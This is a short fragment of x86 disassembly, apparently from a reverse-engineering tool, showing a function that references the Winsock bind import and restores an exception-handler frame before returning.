and byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.00428815
jmp 0x4203e2
lea ecx, [ebp - 0x10]
call fcn.0042b153
push eax
push reloc.WS2_32.dll_bind
call fcn.00428b3d
pop ecx
pop ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.0042a9b6
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
leave
ret 4